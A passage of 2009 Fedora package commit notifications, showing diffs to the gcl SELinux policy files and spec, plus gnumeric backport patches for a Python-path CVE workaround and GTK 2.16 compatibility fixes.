 +/usr/lib/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
-+/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
-+/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object_r:gcl_exec_t,s0)
++/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.if gcl-2.6.8/selinux/gcl.if
 --- gcl-2.6.8.ORIG/selinux/gcl.if	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.if	2009-10-06 08:16:02.064488944 -0600
++++ gcl-2.6.8/selinux/gcl.if	2009-10-20 16:00:21.622010253 -0600
 @@ -0,0 +1,146 @@
 +
 +## <summary>policy for gcl</summary>
@@ -195,9 +195,9 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.if
 +')
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.te gcl-2.6.8/selinux/gcl.te
 --- gcl-2.6.8.ORIG/selinux/gcl.te	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.te	2009-10-06 08:17:51.669426472 -0600
-@@ -0,0 +1,44 @@
-+policy_module(gcl,1.0.0)
++++ gcl-2.6.8/selinux/gcl.te	2009-10-20 15:52:31.702057692 -0600
+@@ -0,0 +1,45 @@
++policy_module(gcl,1.0.1)
 +
 +########################################
 +#
@@ -225,10 +225,11 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +
 +## The GCL memory management and executable dumping routines manipulate memory
 +## in various (usually forbidden) ways.
-+allow gcl_t self:memprotect mmap_zero;
 +allow gcl_t self:process { execmem execheap };
 +
-+unconfined_domain(gcl_t)
++optional_policy(`
++	unconfined_domain(gcl_t)
++')
 +
 +optional_policy(`
 +	gen_require(`
@@ -243,7 +244,7 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +')
 diff -durN gcl-2.6.8.ORIG/unixport/makefile gcl-2.6.8/unixport/makefile
 --- gcl-2.6.8.ORIG/unixport/makefile	2006-08-23 12:14:22.000000000 -0600
-+++ gcl-2.6.8/unixport/makefile	2009-10-06 08:16:02.065488296 -0600
++++ gcl-2.6.8/unixport/makefile	2009-10-20 16:00:21.622998021 -0600
 @@ -118,6 +118,9 @@
  	cp init_$*.lsp foo
  	echo " (in-package \"USER\")(system:save-system \"$@\")" >>foo


Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/devel/gcl.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- gcl.spec	13 Oct 2009 15:37:49 -0000	1.40
+++ gcl.spec	20 Oct 2009 22:11:47 -0000	1.41
@@ -28,7 +28,7 @@
 
 Name:           gcl
 Version:        2.6.8
-Release:        0.5.%{alphatag}%{?dist}
+Release:        0.6.%{alphatag}%{?dist}
 Summary:        GNU Common Lisp
 
 Group:          Development/Languages
@@ -365,6 +365,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.6.20090701cvs
+- Update SELinux policy for confined users (bz 529757)
+
 * Tue Sep  6 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.5.20090701cvs
 - Update SELinux files to give compiled maxima files the right context
 - Drop SELinux compatibility kludge for early F-11 selinux-policy packages



From jjames at fedoraproject.org  Tue Oct 20 22:11:47 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 20 Oct 2009 22:11:47 +0000 (UTC)
Subject: rpms/gcl/F-11 gcl-2.6.8-selinux.patch,1.2,1.3 gcl.spec,1.37,1.38
Message-ID: <20091020221147.3FCB411C0081@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/gcl/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6958/F-11

Modified Files:
	gcl-2.6.8-selinux.patch gcl.spec 
Log Message:
* Tue Oct 20 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.6.20090701cvs
- Update SELinux policy for confined users (bz 529757)


gcl-2.6.8-selinux.patch:
 clcs/makefile     |    6 ++
 makefile          |    3 +
 selinux/gcl.fc    |    5 +
 selinux/gcl.if    |  146 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 selinux/gcl.te    |   45 ++++++++++++++++
 unixport/makefile |    6 ++
 6 files changed, 211 insertions(+)

Index: gcl-2.6.8-selinux.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl-2.6.8-selinux.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcl-2.6.8-selinux.patch	13 Oct 2009 15:37:48 -0000	1.2
+++ gcl-2.6.8-selinux.patch	20 Oct 2009 22:11:46 -0000	1.3
@@ -1,6 +1,6 @@
 diff -durN gcl-2.6.8.ORIG/clcs/makefile gcl-2.6.8/clcs/makefile
 --- gcl-2.6.8.ORIG/clcs/makefile	2005-05-06 15:56:55.000000000 -0600
-+++ gcl-2.6.8/clcs/makefile	2009-10-13 09:12:33.455633583 -0600
++++ gcl-2.6.8/clcs/makefile	2009-10-20 16:00:21.608387999 -0600
 @@ -9,6 +9,9 @@
  
  saved_clcs_gcl: ../unixport/saved_pcl_gcl
@@ -23,7 +23,7 @@ diff -durN gcl-2.6.8.ORIG/clcs/makefile 
  	rm -f *.o *.fn saved_full_gcl$(EXE) saved_full_gcl cmpinclude.h *.c *.h *.data saved_clcs_gcl
 diff -durN gcl-2.6.8.ORIG/makefile gcl-2.6.8/makefile
 --- gcl-2.6.8.ORIG/makefile	2007-11-30 09:59:33.000000000 -0700
-+++ gcl-2.6.8/makefile	2009-10-13 09:12:33.456633051 -0600
++++ gcl-2.6.8/makefile	2009-10-20 16:00:21.609347326 -0600
 @@ -187,6 +187,9 @@
  	if gcc --version | grep -i mingw >/dev/null 2>&1 ; then if grep -i oncrpc makedefs >/dev/null 2>&1 ; then cp /mingw/bin/oncrpc.dll $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR); fi ; fi
  	cd $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR) && \
@@ -36,16 +36,16 @@ diff -durN gcl-2.6.8.ORIG/makefile gcl-2
  	if [ -e "unixport/rsym$(EXE)" ] ; then cp unixport/rsym$(EXE) $(DESTDIR)$(INSTALL_LIB_DIR)/unixport/ ; fi
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.fc gcl-2.6.8/selinux/gcl.fc
 --- gcl-2.6.8.ORIG/selinux/gcl.fc	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.fc	2009-10-13 09:12:33.462625115 -0600
++++ gcl-2.6.8/selinux/gcl.fc	2009-10-20 16:00:52.173119081 -0600
 @@ -0,0 +1,5 @@
 +/usr/lib64/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +/usr/lib/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
-+/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
-+/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object_r:gcl_exec_t,s0)
++/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.if gcl-2.6.8/selinux/gcl.if
 --- gcl-2.6.8.ORIG/selinux/gcl.if	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.if	2009-10-13 09:12:33.463716289 -0600
++++ gcl-2.6.8/selinux/gcl.if	2009-10-20 16:00:21.622010253 -0600
 @@ -0,0 +1,146 @@
 +
 +## <summary>policy for gcl</summary>
@@ -195,9 +195,9 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.if
 +')
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.te gcl-2.6.8/selinux/gcl.te
 --- gcl-2.6.8.ORIG/selinux/gcl.te	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.te	2009-10-13 09:14:37.562683865 -0600
-@@ -0,0 +1,50 @@
-+policy_module(gcl,1.0.0)
++++ gcl-2.6.8/selinux/gcl.te	2009-10-20 15:52:31.702057692 -0600
+@@ -0,0 +1,45 @@
++policy_module(gcl,1.0.1)
 +
 +########################################
 +#
@@ -225,31 +225,26 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +
 +## The GCL memory management and executable dumping routines manipulate memory
 +## in various (usually forbidden) ways.
-+allow gcl_t self:memprotect mmap_zero;
 +allow gcl_t self:process { execmem execheap };
 +
-+unconfined_domain(gcl_t)
++optional_policy(`
++	unconfined_domain(gcl_t)
++')
 +
 +optional_policy(`
 +	gen_require(`
 +		type unconfined_t;
 +		type unconfined_devpts_t;
-+		type unconfined_execmem_t;  # Remove this later; see below
 +		type unconfined_tty_device_t;
 +		role unconfined_r;
 +	')
 +
 +	gcl_run(unconfined_t, unconfined_r, { unconfined_tty_device_t unconfined_devpts_t })
 +	allow gcl_t gcl_exec_t:file execmod;
-+
-+	# Some versions of selinux-policy-targeted, released between November
-+	# 2008 and early January 2009, give /usr/bin/gcl type execmem_exec_t.
-+	# Remove this once those versions are dead and buried.
-+	allow unconfined_execmem_t gcl_exec_t:file execmod;
 +')
 diff -durN gcl-2.6.8.ORIG/unixport/makefile gcl-2.6.8/unixport/makefile
 --- gcl-2.6.8.ORIG/unixport/makefile	2006-08-23 12:14:22.000000000 -0600
-+++ gcl-2.6.8/unixport/makefile	2009-10-13 09:12:33.465652023 -0600
++++ gcl-2.6.8/unixport/makefile	2009-10-20 16:00:21.622998021 -0600
 @@ -118,6 +118,9 @@
  	cp init_$*.lsp foo
  	echo " (in-package \"USER\")(system:save-system \"$@\")" >>foo


Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- gcl.spec	13 Oct 2009 15:37:48 -0000	1.37
+++ gcl.spec	20 Oct 2009 22:11:46 -0000	1.38
@@ -28,7 +28,7 @@
 
 Name:           gcl
 Version:        2.6.8
-Release:        0.3.%{alphatag}%{?dist}
+Release:        0.4.%{alphatag}%{?dist}
 Summary:        GNU Common Lisp
 
 Group:          Development/Languages
@@ -364,6 +364,9 @@ fi
 
 
 %changelog
+* Tue Oct 20 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.6.20090701cvs
+- Update SELinux policy for confined users (bz 529757)
+
 * Tue Oct 13 2009 Jerry James <loganjerry at gmail.com> - 2.6.8-0.3.20090701cvs
 - Update SELinux files to give compiled maxima files the right context
 - Update to 20090701 CVS snapshot, fixes bz 511483



From robert at fedoraproject.org  Tue Oct 20 22:30:07 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 20 Oct 2009 22:30:07 +0000 (UTC)
Subject: rpms/gnumeric/F-12 gnumeric-1.8.4-backport-20090129.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090309.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090314.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090430.patch, NONE,
	1.1 gnumeric.spec, 1.48, 1.49 gnumeric-1.8.4-recent.patch, 1.1, NONE
Message-ID: <20091020223008.0076211C043A@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/gnumeric/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13200/F-12

Modified Files:
	gnumeric.spec 
Added Files:
	gnumeric-1.8.4-backport-20090129.patch 
	gnumeric-1.8.4-backport-20090309.patch 
	gnumeric-1.8.4-backport-20090314.patch 
	gnumeric-1.8.4-backport-20090430.patch 
Removed Files:
	gnumeric-1.8.4-recent.patch 
Log Message:
Applied 4 patches from the 1.8 stable branch (#500890, #505001)


gnumeric-1.8.4-backport-20090129.patch:
 NEWS                                       |    6 ++++++
 plugins/python-loader/ChangeLog            |    6 ++++++
 plugins/python-loader/gnm-py-interpreter.c |    3 +--
 3 files changed, 13 insertions(+), 2 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090129.patch ---
>From 8287b580c6e9d99cb095e4084d485f513180dca8 Mon Sep 17 00:00:00 2001
From: J.H.M. Dassen (Ray) <jdassen at src.gnome.org>
Date: Thu, 29 Jan 2009 14:33:02 +0000
Subject: Backport of fix for CVE-2009-0318 [#569648]

svn path=/branches/gnumeric-1-8/; revision=17111
---
diff --git a/NEWS b/NEWS
index cc2354f..a9ba585 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+Gnumeric 1.8.5
+
+Jon K?re:
+        * Work around vulnerability in Python. CVE-2009-0318 [#569648]
+
+--------------------------------------------------------------------------
 Gnumeric 1.8.4
 
 Henry Law:
diff --git a/plugins/python-loader/ChangeLog b/plugins/python-loader/ChangeLog
index 8609fee..5978766 100644
--- a/plugins/python-loader/ChangeLog
+++ b/plugins/python-loader/ChangeLog
@@ -1,3 +1,9 @@
+2009-01-29  Jon K Hellan  <hellan at acm.org>
+
+	* gnm-py-interpreter.c (gnm_py_interpreter_new): Work around
+	security vulnerability in Python by making argv start with
+	"/dev/null". #569648.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/plugins/python-loader/gnm-py-interpreter.c b/plugins/python-loader/gnm-py-interpreter.c
index 4664f2e..a33f38a 100644
--- a/plugins/python-loader/gnm-py-interpreter.c
+++ b/plugins/python-loader/gnm-py-interpreter.c
@@ -79,7 +79,7 @@ gnm_py_interpreter_class_init (GObjectClass *gobject_class)
 		G_TYPE_NONE, 0);
 }
 
-static char *plugin_argv[] = {(char *) "gnumeric", NULL};
+static char *plugin_argv[] = {(char *) "/dev/null/python/is/buggy/gnumeric", NULL};
 
 GnmPyInterpreter *
 gnm_py_interpreter_new (GOPlugin *plugin)
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090309.patch:
 NEWS                           |    4 ++++
 src/dialogs/hf-config.glade    |    2 +-
 src/dialogs/hf-dt-format.glade |    2 +-
 src/dialogs/preferences.glade  |    3 +--
 4 files changed, 7 insertions(+), 4 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090309.patch ---
>From 186423184f2ed8825f00fff8f12669ed99c8de2c Mon Sep 17 00:00:00 2001
From: Morten Welinder <mortenw at src.gnome.org>
Date: Mon, 09 Mar 2009 13:54:19 +0000
Subject: Backport.

Morten:
	* Fix problem with dialogs not showing up in fullscreen mode.
	[#574602]


svn path=/branches/gnumeric-1-8/; revision=17181
---
diff --git a/NEWS b/NEWS
index a9ba585..3603561 100644
--- a/NEWS
+++ b/NEWS
@@ -3,6 +3,10 @@ Gnumeric 1.8.5
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
+Morten:
+	* Fix problem with dialogs not showing up in fullscreen mode.
+	[#574602]
+
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
 
diff --git a/src/dialogs/hf-config.glade b/src/dialogs/hf-config.glade
index 1346ce4..e082ed8 100644
--- a/src/dialogs/hf-config.glade
+++ b/src/dialogs/hf-config.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-config">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/hf-dt-format.glade b/src/dialogs/hf-dt-format.glade
index ee0e1e8..f2c3f39 100644
--- a/src/dialogs/hf-dt-format.glade
+++ b/src/dialogs/hf-dt-format.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-dt-format">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/preferences.glade b/src/dialogs/preferences.glade
index 01cbfef..163d714 100644
--- a/src/dialogs/preferences.glade
+++ b/src/dialogs/preferences.glade
@@ -7,7 +7,7 @@
     <property name="title" translatable="yes">Gnumeric Preferences</property>
     <property name="default_width">350</property>
     <property name="default_height">300</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <property name="has_separator">False</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090314.patch:
 ChangeLog             |   11 +++++++++++
 b/ChangeLog           |    4 ++++
 b/NEWS                |    3 +++
 b/src/application.c   |    6 +++++-
 b/src/application.h   |    4 +++-
 b/src/gnm-pane-impl.h |    7 +++----
 b/src/gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 b/src/gnm-plugin.c    |    6 ++++--
 b/src/wbc-gtk.c       |    3 +--
 9 files changed, 62 insertions(+), 22 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090314.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

2009-03-13  Jody Goldberg <jody at gnome.org>

	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
	(gnm_pane_unrealize) : set the flag.

	* src/application.c (gnm_app_add_extra_ui) : take a group name.
	(gnm_app_remove_extra_ui) : patch minor leak.
	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
	  group name rather than a static name that is shared between all
	  custom ui.



svn path=/branches/gnumeric-1-8/; revision=17077
---
diff --git a/ChangeLog b/ChangeLog
index 62ecf6f..6ac6e49 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 1.8.4
 
 2009-01-11  J.H.M. Dassen (Ray) <jdassen at debian.org>
diff --git a/ChangeLog b/ChangeLog
index 6ac6e49..17b282a 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,14 @@
+2009-03-13  Jody Goldberg <jody at gnome.org>
+
+	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
+	(gnm_pane_unrealize) : set the flag.
+
+	* src/application.c (gnm_app_add_extra_ui) : take a group name.
+	(gnm_app_remove_extra_ui) : patch minor leak.
+	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
+	  group name rather than a static name that is shared between all
+	  custom ui.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 3603561..4391951 100644
--- a/NEWS
+++ b/NEWS
@@ -1,5 +1,8 @@
 Gnumeric 1.8.5
 
+Jody:
+	* Work around semantic changes in gtk-2.16.
+
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090430.patch:
 NEWS                                |    1 +
 src/dialogs/ChangeLog               |    4 ++++
 src/dialogs/anova-one.glade         |    3 +--
 src/dialogs/anova-two.glade         |    3 +--
 src/dialogs/cell-format.glade       |    3 +--
 src/dialogs/col-width.glade         |    3 +--
 src/dialogs/descriptive-stats.glade |    3 +--
 src/dialogs/dialog-stf.glade        |    6 ++----
 src/dialogs/dialog-zoom.glade       |    3 +--
 src/dialogs/print.glade             |    9 +++------
 src/dialogs/row-height.glade        |    3 +--
 src/dialogs/simulation.glade        |   12 ++++--------
 src/dialogs/so-scrollbar.glade      |   12 ++++--------
 src/dialogs/solver.glade            |    7 ++-----
 14 files changed, 27 insertions(+), 45 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090430.patch ---
>From 75fe906cb0afce76a47338415773a6d4c5f07c5c Mon Sep 17 00:00:00 2001
From: Morten Welinder <terra at gnome.org>
Date: Thu, 30 Apr 2009 23:04:49 +0000
Subject: Work around gtk+ 2.16 ABI break re spinbuttons.

---
diff --git a/NEWS b/NEWS
index 4391951..d1808a8 100644
--- a/NEWS
+++ b/NEWS
@@ -9,6 +9,7 @@ Jon K?re:
 Morten:
 	* Fix problem with dialogs not showing up in fullscreen mode.
 	[#574602]
+	* Work around ABI changes in in gtk-2.16.  [#580930]
 
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
diff --git a/src/dialogs/ChangeLog b/src/dialogs/ChangeLog
index 5f63b08..8fcc3f4 100644
--- a/src/dialogs/ChangeLog
+++ b/src/dialogs/ChangeLog
@@ -1,3 +1,7 @@
+2009-04-40  Morten Welinder <terra at gnome.org>
+
+	* *.glade: Work around ABI break for spinbuttons.  #580930.
+
